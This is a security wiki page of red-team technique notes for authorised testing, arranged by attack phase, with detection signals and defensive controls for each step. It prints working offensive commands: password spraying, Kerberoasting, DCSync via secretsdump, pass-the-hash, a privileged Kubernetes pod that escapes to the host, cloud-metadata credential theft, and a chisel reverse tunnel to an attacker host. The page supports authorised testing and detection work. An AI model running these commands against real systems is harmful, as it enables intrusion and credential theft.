Software Engineering Wiki

Security and identity

Red team

Technique notes for authorised offensive testing, arranged by ATT&CK phase, with the tooling and the telemetry each step leaves behind.

Authorised testing only

Use these against systems you own or have a signed scope and rules of engagement for. Everything here is loud in some way; the detection column is what a defender should see, and if they do not, that finding is worth more than the access. Destructive impact techniques and antivirus-disabling recipes are deliberately out of scope on this page.

Cheatsheet #

TaskCommand
Subdomains, passivesubfinder -d example.com -silent
Resolve and probehttpx -l hosts.txt -sc -title -tech-detect
Port sweep, fastnmap -sS -Pn --top-ports 1000 --min-rate 2000 -oA scan 10.0.0.0/24
Service and version detailnmap -sV -sC -p 22,80,443 target -oA svc
Web content discoveryffuf -u https://target/FUZZ -w list.txt -mc 200,301,403
SMB enumerationnetexec smb 10.0.0.0/24 -u '' -p '' --shares
LDAP enumerationldapsearch -x -H ldap://dc-01 -b 'dc=example,dc=com'
Kerberos user listkerbrute userenum -d example.com users.txt
Hash crackinghashcat -m 13100 hashes.txt rockyou.txt
Credential spray, slownetexec smb dc-01 -u users.txt -p 'Season2025!' --continue-on-success
Local privesc checkslinpeas.sh, winPEASx64.exe
AD attack pathsBloodHound with SharpHound/bloodhound-python
SOCKS through a hostchisel client attacker:8080 R:socks
Route tools through itproxychains4 -q nmap -sT -Pn target

Ground rules #

Scope, time window, and escalation contact in writing before the first packet. Log everything you run with timestamps — the client’s detection team needs to correlate, and you need to prove what you did and did not do.

Prefer the quietest technique that answers the question. Noise is a finding when nobody notices it and a liability when someone does.

DisciplinePractice
DeconflictionTimestamped command log, attacker source addresses shared with the blue team
Data handlingScreenshot proof, not bulk data exfiltration; store evidence encrypted
CredentialsNever reuse client credentials outside the engagement; destroy at report delivery
Blast radiusNo denial of service, no destructive changes, no production data modification
CleanupRemove implants, accounts and scheduled tasks; list them in the report regardless

Reconnaissance #

TechniqueCommandDetection signal
Passive subdomainssubfinder -d example.com -all -silentNone — certificate transparency and public sources
Certificate transparencycurl -s 'https://crt.sh/?q=%25.example.com&output=json' | jq -r '.[].name_value' | sort -uNone
DNS zone datadig axfr example.com @ns1.example.comZone transfer attempt logged by the DNS server
Live web hostshttpx -l hosts.txt -sc -title -tech-detect -o web.txtWeb access logs, unusual user agent
Port discoverynmap -sS -Pn --min-rate 2000 -p- targetIDS scan signatures, firewall connection counts
Service fingerprintnmap -sV -sC -p- --open targetBanner grabs, versioned probes
Content discoveryffuf -u https://target/FUZZ -w raft-medium.txt -mc all -fc 404404 flood in web logs, WAF rate limits
Cloud asset discoverycloud_enum -k exampleProvider access logs, bucket access denied events
Credential exposurePublic breach data, git log -S 'password' in cloned repositoriesNone externally
subfinder -d example.com -silent | httpx -silent -sc -title -tech-detect | tee web.txt
nmap -iL hosts.txt -sS -Pn --top-ports 1000 --min-rate 1500 -oA sweep
nuclei -l web.txt -severity high,critical -o findings.txt

Initial access #

VectorNotesDetection signal
Exposed service with a known CVEVerify the version before firing anythingExploit signature, service crash, patch-level mismatch
Default or reused credentialsSpray slowly, respect lockout policyFailed logon bursts (4625), lockouts
Exposed admin interfacesJenkins, Grafana, Kibana, Docker API, Kubernetes APIUnusual source address on a management port
Phishing (if in scope)Payload and pretext agreed in writing beforehandMail gateway logs, attachment detonation, user report
Supply chain of your own toolingOut of scope for almost every engagement
# Spray with lockout awareness: one password, all users, then wait
netexec smb dc-01.example.com -u users.txt -p 'Winter2025!' --continue-on-success --no-bruteforce

Password spraying is the most common way in and the easiest to detect: a single password against many accounts produces a distinctive burst of 4625 events across the domain. If nobody alerts, that is the finding.

Execution and persistence #

TechniqueWhereDetection signal
Scheduled task / cronschtasks /create, crontab -eTask creation events (4698), /var/log/cron
systemd unit or timer/etc/systemd/system/*.serviceNew unit files, systemd-analyze diffs
Service creationsc.exe create7045 service installed
Run keyHKCU\...\RunRegistry autorun monitoring
SSH authorized_keysAppend a key to a service accountFile integrity monitoring, key fingerprint audit
Container or clusterCronJob, mutating webhook, privileged DaemonSetKubernetes audit log, admission controller
CI/CDPipeline step or self-hosted runnerPipeline definition diff, runner registration
# Kubernetes: a node-level foothold looks like this and should be alerted on
kubectl run shell --rm -it --image=alpine --overrides='{"spec":{"hostPID":true,"hostNetwork":true,"containers":[{"name":"s","image":"alpine","securityContext":{"privileged":true},"stdin":true,"tty":true,"command":["nsenter","--target","1","--mount","--uts","--ipc","--net","--pid","--","bash"]}]}}'

Any cluster that allows that pod should fail its own admission policy review. Test it, capture the result, and check whether the audit log shows it.

Privilege escalation #

CheckCommandWhy it works
Sudo rulessudo -lMisconfigured NOPASSWD on an interpreter or editor
SUID binariesfind / -perm -4000 -type f 2>/dev/nullUnexpected SUID with a shell escape (GTFOBins)
Writable service unitsfind /etc/systemd -writable 2>/dev/nullRoot executes what you can edit
Capabilitiesgetcap -r / 2>/dev/nullcap_setuid, cap_dac_override on a binary
Cron jobscat /etc/crontab; ls -la /etc/cron.*Writable script or wildcard injection
Kernel versionuname -a and known exploitsUnpatched local privilege escalation
Container escapecat /proc/1/cgroup, check for privileged, hostPath, docker socketThe socket is root on the host
Cloud metadatacurl -s 169.254.169.254/latest/meta-data/iam/security-credentials/Instance role often over-permissioned
Windows service pathswmic service get name,pathnameUnquoted paths, writable binaries
Token privilegeswhoami /privSeImpersonate leads to well-known escalations
linpeas.sh -a 2>&1 | tee linpeas.txt        # noisy but thorough; expect EDR to notice
sudo -l
find / -perm -4000 -type f 2>/dev/null
curl -s -H 'Metadata-Flavor: Google' 'http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token'

IMDSv2 (AWS) requires a token header, which is why an SSRF that reaches metadata on IMDSv1 is a critical finding and the same SSRF on v2 usually is not.

Credential access #

SourceTechniqueDetection signal
Kerberos service ticketsKerberoasting: GetUserSPNs.py -request4769 for RC4 tickets, unusual SPN requests
Accounts without preauthAS-REP roasting: GetNPUsers.py4768 with preauth disabled
LSASS memoryDump and parse offlineEDR alert on process access to lsass.exe
SAM / SYSTEM hivesreg save then secretsdump.py LOCALRegistry hive save events
NTDS.ditntdsutil snapshot, or secretsdump.py -just-dcDCSync replication from a non-DC (4662)
Linux shadow fileRequires root alreadyFile access auditing
Cloud credentials~/.aws/credentials, environment, instance roleCloudTrail credential use from a new address
Application secrets.env, CI variables, unencrypted state filesSecret scanning, access to state buckets
GetUserSPNs.py example.com/user:pass -dc-ip 10.0.0.10 -request -outputfile spns.hash
hashcat -m 13100 spns.hash rockyou.txt -r best64.rule
secretsdump.py -just-dc-user krbtgt example.com/admin@dc-01 -k -no-pass

DCSync from anything that is not a domain controller is the single highest-value detection in a Windows environment. Test whether it alerts.

Discovery and lateral movement #

TechniqueCommandDetection signal
Domain mappingbloodhound-python -d example.com -u u -p p -c AllHeavy LDAP queries from one host
Share enumerationnetexec smb 10.0.0.0/24 -u u -p p --sharesMass SMB session setups
Interesting filesnetexec smb targets -u u -p p -M spider_plusFile server access spike
Pass the hashnetexec smb target -u admin -H <nthash>NTLM logon type 3 from an unusual host
Pass the ticketexport KRB5CCNAME=ticket.ccache; psexec.py -k -no-passTicket use from a new source
WMI / WinRM executionwmiexec.py, evil-winrm -i host -u u -H hash4688 process creation, WinRM logs
SSH pivotingssh -J bastion target, agent forwarding abuseAuth logs, unusual jump patterns
Tunnellingchisel server -p 8080 --reverse, then R:socksLong-lived outbound connections to an unknown host
chisel server -p 8080 --reverse &                       # attacker
chisel client attacker.example:8080 R:socks             # foothold
proxychains4 -q netexec smb 10.10.0.0/24 -u u -p p

Lateral movement is where most engagements are caught, and where most are not caught but should be. Record the exact time of each hop so the client can measure detection latency.

Command and control #

ChoiceTrade-off
HTTPS beacon with long jitterBlends with normal traffic; slow interaction
DNSWorks where nothing else does; very noisy to a resolver that logs
Cloud service as redirectorReputation of a trusted domain; provider terms may prohibit it
Direct shellSimple, immediate, trivially detected

Agree the C2 infrastructure with the client in advance, including the domains and addresses, so their detection team can confirm what they should have seen afterwards. Egress filtering, TLS inspection and DNS logging are the three controls being tested here.

Exfiltration testing #

Demonstrate the path with canary data, not with the client’s real data. A file of known marker strings proves the control gap without creating a breach of your own.

ChannelControl being tested
HTTPS POST to an external hostEgress filtering, TLS inspection, DLP
DNS queriesDNS logging and exfiltration detection
Cloud storage uploadEgress allow-lists, provider-side DLP
Email attachmentMail DLP

Reporting #

A finding without impact and a fix is trivia. For each one record: what you did, when, from where, what it proved, what the business consequence is, and the smallest change that closes it. Include the detection timeline — which steps were alerted on, which were not, and how long each took.

Order by exploitability and impact, not by CVSS alone. A medium-severity issue on a path to domain admin outranks a critical on an isolated host.

Defensive counterpart #

Every technique above has a control worth verifying while you are there:

AreaControl
IdentityMFA everywhere, no reused local admin passwords (LAPS), tiered admin accounts
KerberosManaged service accounts, AES only, no unconstrained delegation
EndpointEDR with tamper protection, application allow-listing, LSASS protection
NetworkEgress filtering, internal segmentation, no flat management VLAN
CloudIMDSv2, least-privilege roles, no long-lived keys, CloudTrail with alerting
KubernetesPod Security admission, no privileged workloads, audit log shipped and alerted
DetectionAlerts for spraying, DCSync, new services, and outbound beacons

Last updated 15 September 2026 · Edit this page